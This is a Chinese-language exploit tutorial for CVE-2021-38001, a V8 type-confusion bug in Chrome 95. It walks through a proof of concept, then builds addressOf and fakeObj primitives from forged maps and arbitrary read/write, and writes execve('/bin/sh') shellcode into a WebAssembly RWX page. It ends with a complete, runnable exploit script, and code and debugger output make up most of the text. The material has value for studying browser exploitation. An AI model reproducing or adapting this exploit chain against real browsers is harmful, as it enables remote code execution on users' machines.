CVE-2021-38001漏洞利用
受影響的Chrome最高版本為:95.0.4638.54
受影響的V8最高版本為:9.5.172.21
issue編號:1260577
POC
import('./1.mjs').then((m1) => { var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); var u32 = new Uint32Array(f64.buffer); function d2u(v) { f64[0] = v; return u32; } function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } function ftoi(f){ f64[0] = f; return bigUint64[0]; } function itof(i){ bigUint64[0] = i; return f64[0]; } class C { m() { return super.x; } } obj_prop_ut_fake = {}; for (let i = 0x0; i < 0x11; i++) { obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0); } C.prototype.__proto__ = m1; function trigger() { let c = new C(); c.x0 = obj_prop_ut_fake; let res = c.m(); return res; } for (let i = 0; i < 10; i++) { trigger(); } let evil = trigger(); %DebugPrint(evil);});
漏洞利用
運行后可以看出,evil 變量被當作一個整數直接打印了,這意味著 evil 似乎變成了一個指針,能夠指向任意一個對象了:
DebugPrint: Smi: 0x20202021 (538976289)
此處 0x20202021 * 2 = 0x40404042
正好是我們設定的值。
但目前我們還需要有辦法泄露地址,從可能讓 evil 指向一個合適的目標,顯然,我們目前缺少能夠泄露地址的手段,但回顧其上一章曾說過的,v8 對存儲的地址進行了壓縮,只保留了低 32 字節,那么實際情況會是什么樣的呢?先試著用一個簡單的腳本測試一下:
a=[2.1]b=[a];arr = Array(0xf700);%DebugPrint(a);%DebugPrint(b);%DebugPrint(arr); DebugPrint: 0x54408049941: [JSArray]//第一次運行DebugPrint: 0x5440804995d: [JSArray]DebugPrint: 0x5440804996d: [JSArray] DebugPrint: 0x54008049941: [JSArray]//第二次運行DebugPrint: 0x5400804995d: [JSArray]DebugPrint: 0x5400804996d: [JSArray] DebugPrint: 0x3b0d08049941: [JSArray]//第三次運行DebugPrint: 0x3b0d0804995d: [JSArray]DebugPrint: 0x3b0d0804996d: [JSArray]
盡管三次運行,每次打印的地址都不一樣,但如果只看其低 32bit 的話,這些地址是完全相同的。在地址壓縮的情況下,我們需要寫入的地址只需要低 32bit 即可,這意味著,我們不需要任何泄露也能夠讓 evil 指向一塊我們希望的地址,因為它們的低位不會因為 ASLR 而改變。
V8下的堆噴技術
網上一搜堆噴,首先出來的就是通過跳板指令去滑到 shellcode,但那種利用條件以目前的技術來看似乎基本上無法利用了,畢竟它要求堆是可讀可寫可執行的,才可能往里面插跳板指令,至少在 v8 中是不太可能,但通過開辟大內存塊來調整內存結構的思路是可以借用的。
一般在 v8 的分析文章中常說的堆內存指的是如下這段內存:
0x23200000000 0x2320014e000 r-xp 14e000 0 [anon_23200000]0x2320014e000 0x23200180000 ---p 32000 0 [anon_2320014e]0x23200180000 0x23200183000 rw-p 3000 0 [anon_23200180]0x23200183000 0x23200184000 ---p 1000 0 [anon_23200183]0x23200184000 0x2320019a000 r-xp 16000 0 [anon_23200184]0x2320019a000 0x232001bf000 ---p 25000 0 [anon_2320019a]0x232001bf000 0x23208000000 ---p 7e41000 0 [anon_232001bf]0x23208000000 0x2320802a000 r--p 2a000 0 [anon_23208000]0x2320802a000 0x23208040000 ---p 16000 0 [anon_2320802a]0x23208040000 0x2320814d000 rw-p 10d000 0 [anon_23208040]0x2320814d000 0x23208180000 ---p 33000 0 [anon_2320814d]0x23208180000 0x23208183000 rw-p 3000 0 [anon_23208180]0x23208183000 0x232081c0000 ---p 3d000 0 [anon_23208183]0x232081c0000 0x2320833e000 rw-p 17e000 0 [anon_232081c0]0x2320833e000 0x23300000000 ---p f7cc2000 0 [anon_2320833e]
其中,以 0x2320833e000 地址開始的這段是尚未分配的內存區,而以 0x232081c0000 地址開始的則是剛剛分配出來的堆內存。
并且可以注意到,這一大段內存都是地址連續的,因此我們可以通過開辟足夠大的內存塊來讓某個地址處的內存能夠讀寫,并且這個地址是我們已知的。那么問題就變成了,具體應該開辟多大的內存區?
對比一下堆空間和網上能夠找到的資料,筆者用一段簡單的測試代碼說明:
%SystemBreak(); arr = Array(0xf700);arr[0]=1;%DebugPrint(arr);%SystemBreak(); arr = Array(0xf700);arr[0]=2;%DebugPrint(arr);%SystemBreak(); 0x2f43081c0000 0x2f4308240000 rw-p 80000 0 [anon_2f43081c0]//第一個斷點0x2f4308240000 0x2f4400000000 ---p f7dc0000 0 [anon_2f4308240] 0x2f43081c0000 0x2f4308280000 rw-p c0000 0 [anon_2f43081c0]//第二個斷點0x2f4308280000 0x2f4400000000 ---p f7d80000 0 [anon_2f4308280] 0x2f43081c0000 0x2f43082c0000 rw-p 100000 0 [anon_2f43081c0]//第三個斷點0x2f43082c0000 0x2f4400000000 ---p f7d40000 0 [anon_2f43082c0]
似乎堆結構在以有規律的增長,接下來實際看一下內存中的狀況:
pwndbg> x/10gx 0x2f43081c00000x2f43081c0000: 0x0000000000040000 0x00000000000000040x2f43081c0010: 0x000055775c5d9e68 0x00002f43081c21180x2f43081c0020: 0x00002f4308200000 0x000000000003dee80x2f43081c0030: 0x0000000000000000 0x00000000000021180x2f43081c0040: 0x000055775c65c210 0x000055775c5cbeb0 pwndbg> x/10gx 0x2f43081c0000+0x400000x2f4308200000: 0x0000000000040000 0x00000000000000040x2f4308200010: 0x000055775c5d9e68 0x00002f43082021180x2f4308200020: 0x00002f4308240000 0x000000000003dee80x2f4308200030: 0x0000000000000000 0x00000000000021180x2f4308200040: 0x000055775c65c870 0x000055775c5cbeb0 pwndbg> x/10gx 0x2f43081c0000+0x40000+0x400000x2f4308240000: 0x0000000000040000 0x00000000000000320x2f4308240010: 0x000055775c5d9e68 0x00002f43082421180x2f4308240020: 0x00002f430827fd20 0x000000000003dc080x2f4308240030: 0x0000000000000000 0x00000000000021180x2f4308240040: 0x000055775c65cd50 0x000055775c5cbeb0
我們按照每次增長的地址空間大小去跟蹤內存,發現它們存在一定的規律,對照一些資料能夠大概得到這樣的結論:
0x2f43081c0000:內存塊的大小
0x2f43081c0018:內存塊可用空間的起始地址
0x2f43081c0020:表示下一個內存塊的地址
0x2f43081c0008:已被使用的內存大小(0x3dee8+0x2118=0x40000)
0x2f43081c0038:元數據的占用大小
再對比一下打印出來的數據信息:
pwndbg> job 0x2f430804999d - elements: 0x2f4308242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS] - length: 63232 - properties: 0x2f430800222d <FixedArray[0]> } - elements: 0x2f4308242119 <FixedArray[63232]> { 0: 1 1-63231: 0x2f430800242d <the_hole> } pwndbg> job 0x2f43080499ad - elements: 0x2f4308282119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS] - length: 63232 - properties: 0x2f430800222d <FixedArray[0]> } - elements: 0x2f4308282119 <FixedArray[63232]> { 0: 2 1-63231: 0x2f430800242d <the_hole> }
可以發現,兩個 Array 的儲存數據地址 elements 都從 0x2119+自身堆地址 處開始,順序儲存,這意味著我們能夠通過固定的低位偏移得到這兩個數據的地址信息,因此甚至不需要泄露地址也能夠獲取 elements 的地址。
這種思路和傳統的堆噴有些差別,因為它是通過開辟內存空間使得固定地址的內存可讀寫,而傳統堆噴則是通過開辟大內存使得隨機訪問能夠命中。
利用思路
既然我們能夠知道 Array 對象的 elements 成員地址,就能夠向其中偽造數據數據,將偽造的內容裝成一個對象,從而實現 addressOf 和 fakeObject,進而完成任意地址讀寫。
首先,我們令 evil 指向一個新 Array 的 elements 中的 value ,然后在這個 Array 中布置數據進行偽造:
···for (let i = 0x0; i < 0x11; i++) { obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0);}···var demo_array=new Array(0xf000);demo_ele_addr=0x82c2120;fake_buf=demo_ele_addr+0x200+8;array_map0 = itof(0x1604040408002119n); double_array_map_addr=demo_ele_addr+0x100;double_array_map_value=itof(0x0a0007ff11000834n); demo_array[0x100/8]=array_map0;demo_array[0x108/8]=double_array_map_value; obj_array_map_addr=demo_ele_addr+0x150;obj_array_map_value=itof(0x0a0007ff09000834n); demo_array[0x150/8]=array_map0;demo_array[0x158/8]=obj_array_map_value; demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);demo_array[0x008/8]=u2d(fake_buf+1,0x2);
其中值得一提的是,map 的偽造過程:
demo_ele_addr=0x82c2120;fake_buf=demo_ele_addr+0x200+8; array_map0 = itof(0x1604040408002119n);obj_array_map_value=itof(0x0a0007ff09000834n);obj_array_map_addr=demo_ele_addr+0x150; demo_array[0x150/8]=array_map0;demo_array[0x158/8]=obj_array_map_value; demo_array[0x000/8]=u2d(obj_array_map_addr+1,0);demo_array[0x008/8]=u2d(fake_buf+1,0x2);
我們的偽造目標地址是 &demo_array[0] ,上面的代碼和 C 的等價偽代碼為:
*(demo_array) = obj_array_map_addr+1;*(demo_array+4) = 0;*(demo_array+8) = fake_buf+1;*(demo_array+12) = 2; *(obj_array_map_addr) = 0x0a0007ff09000834;
這種操作是合法的,我們可以發現, obj_array_map_addr 的值是已知的,其值是筆者隨意聲明一個對象數組后在其 map 地址處實際拷貝出來的值,也就是說,map 值本身是固定的,和地址無關的,只需要讓指針指向該值,就會正常將其識別為對應的類型。
map 結構體當然是地址有關的,但用以區分類型的值卻和地址無關,而在對變量進行取值或寫入時,只需要讀取 map 值而不需要其他的結構體成員。
而我們令其 elements 指針指向 fake_buf ,length 值為 2,但又有些怪異的是,我們不需要偽造 elements 結構體的 map。
結論是,向這個偽造的 elements 中寫入數據時,不需要讀取其 map 結構體,只需要上層的對象類型的寫入或讀取的參數相應即可。
addressOf
接下來就是嘗試如何去構造這個函數:
function addressOf(target_var){ demo_array[0x000/8]=u2d(obj_array_map_addr+1,0); evil[0]=target_var; demo_array[0x000/8]=u2d(double_array_map_addr+1,0); let addr=ftoi(evil[0])-1n; console.log("[*] addr: 0x"+hex(addr)); demo_array[0x000/8]=u2d(obj_array_map_addr+1,0); return addr;}
首先,我們令 evil 的結構體的 map 為 obj array ,使其成為對象數組,將其放入以后,再轉回浮點數數組后即可讀取,同時在最后一步,我們又將其轉回了對象類型,這并沒有特殊的意義,單純是個人習慣。
fakeObject
function fakeObj(target_addr){ demo_array[0x000/8]=u2d(double_array_map_addr+1,0); console.log("[*] set addr: 0x"+hex(target_addr)); //evil[0]=itof(target_addr+1n); demo_array[0x210/8]=itof(target_addr+1n); demo_array[0x000/8]=u2d(obj_array_map_addr+1,0); let vul=evil[0]; demo_array[0x000/8]=u2d(double_array_map_addr+1,0); return vul;}
這個操作和上面的 addressOf 函數相似,但注意到筆者此處注釋掉了一行代碼,它道理上似乎與下一行操作等價,但經過筆者的測試,這個操作會有些許差錯,導致寫入的數值不符合預期,但由于緩沖區本身也是我們偽造的,所以可以直接通過寫入 demo_array[0x210/8] 去改變 evil[0] 的數值。
偽造對象
雖說已經能夠讀取變量地址和偽造對象地址,但還沒涉及到具體的應用,這部分內容本就應該根據上面的兩個函數進行調整,并且,我們還沒有完全實現任意地址讀寫。
var fake_array = [ u2d(double_array_map_addr+1, 0), itof(0x4141414141414141n)];var fake_ob=addressOf(fake_array);fake_addr=fake_ob+0x20n+4n;var t=fakeObj(fake_addr); var wasmins=addressOf(wasmInstance);fake_array[1]=itof(wasmins+0x68n+1n-8n-8n);rwx_addr=ftoi(t[0]);console.log("[*] value: 0x"+hex(ftoi(t[0])));
首先創建這樣一個浮點數數組,通過 addressOf 獲取其地址以后,我們就能夠通過計算獲取到 &fake_array[0] 的地址,那么我們就能夠將這個數組的內容偽造成一個新的對象,這樣我們就能隨意設置新對象的 elements 地址,如果我們讓 fake_array[0] 是浮點數數組的 map,那么就會讓這個偽造對象為浮點數數組,實現任意地址讀寫。
接下來只需要調整便宜,讓 t[0] 讀取到 wasmInstance+0x68 處的新內存段地址即可。
copy shellcode
var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n];function copy_shellcode(shellcode,addr){ var data_buf=new ArrayBuffer(shellcode.length*8); var data_view=new DataView(data_buf); var back_sotre_addr=addressOf(data_buf)+0x18n; fake_array[1]=itof(back_sotre_addr-3n); t[0]=itof(addr); for (let i=0;i<shellcode.length;++i) data_view.setFloat64(i*8,itof(shellcode[i]),true);}copy_shellcode(shellcode,rwx_addr);
這一段的內容就同上面所描述的相似,代碼也并不是很長,讀者可以簡單理解一下。
EXP
import('./2.mjs').then((m1) => { var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); var u32 = new Uint32Array(f64.buffer); wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; function d2u(v) { f64[0] = v; return u32; } function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } function ftoi(f){ f64[0] = f; return bigUint64[0]; } function itof(i){ bigUint64[0] = i; return f64[0]; } function hex(i){ return i.toString(16).padStart(8, "0"); } class C { m() { return super.x; } } obj_prop_ut_fake = {}; for (let i = 0x0; i < 0x11; i++) { obj_prop_ut_fake['x' + i] = u2d(0x082c2121, 0); } C.prototype.__proto__ = m1; function trigger() { let c = new C(); c.x0 = obj_prop_ut_fake; let res = c.m(); return res; } for (let i = 0; i < 10; i++) { trigger(); } let evil = trigger(); var demo_array=new Array(0xf000); var demo_array=new Array(0xf000); demo_ele_addr=0x82c2120; fake_buf=demo_ele_addr+0x200+8; array_map0 = itof(0x1604040408002119n); double_array_map_addr=demo_ele_addr+0x100; double_array_map_value=itof(0x0a0007ff11000834n); demo_array[0x100/8]=array_map0; demo_array[0x108/8]=double_array_map_value; obj_array_map_addr=demo_ele_addr+0x150; obj_array_map_value=itof(0x0a0007ff09000834n); demo_array[0x150/8]=array_map0; demo_array[0x158/8]=obj_array_map_value; demo_array[0x000/8]=u2d(obj_array_map_addr+1,0); demo_array[0x008/8]=u2d(fake_buf+1,0x2); function addressOf(target_var){ demo_array[0x000/8]=u2d(obj_array_map_addr+1,0); evil[0]=target_var; demo_array[0x000/8]=u2d(double_array_map_addr+1,0); let addr=ftoi(evil[0])-1n; console.log("[*] addr: 0x"+hex(addr)); demo_array[0x000/8]=u2d(obj_array_map_addr+1,0); return addr; } var fake_array = [ u2d(double_array_map_addr+1, 0), itof(0x4141414141414141n) ]; function fakeObj(target_addr){ demo_array[0x000/8]=u2d(double_array_map_addr+1,0); console.log("[*] set addr: 0x"+hex(target_addr)); demo_array[0x210/8]=itof(target_addr+1n); demo_array[0x000/8]=u2d(obj_array_map_addr+1,0); let vul=evil[0]; demo_array[0x000/8]=u2d(double_array_map_addr+1,0); return vul; } var wasmins=addressOf(wasmInstance); var fake_ob=addressOf(fake_array); fake_addr=fake_ob+0x20n+4n; var t=fakeObj(fake_addr); console.log("[*] addr: 0x"+hex(fake_addr)); fake_array[1]=itof(wasmins+0x68n+1n-8n-8n); rwx_addr=ftoi(t[0]); console.log("[*] value: 0x"+hex(ftoi(t[0]))); function copy_shellcode(shellcode,addr){ var data_buf=new ArrayBuffer(shellcode.length*8); var data_view=new DataView(data_buf); var back_sotre_addr=addressOf(data_buf)+0x18n; fake_array[1]=itof(back_sotre_addr-3n); t[0]=itof(addr); for (let i=0;i<shellcode.length;++i) data_view.setFloat64(i*8,itof(shellcode[i]),true); } var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; copy_shellcode(shellcode,rwx_addr); f();});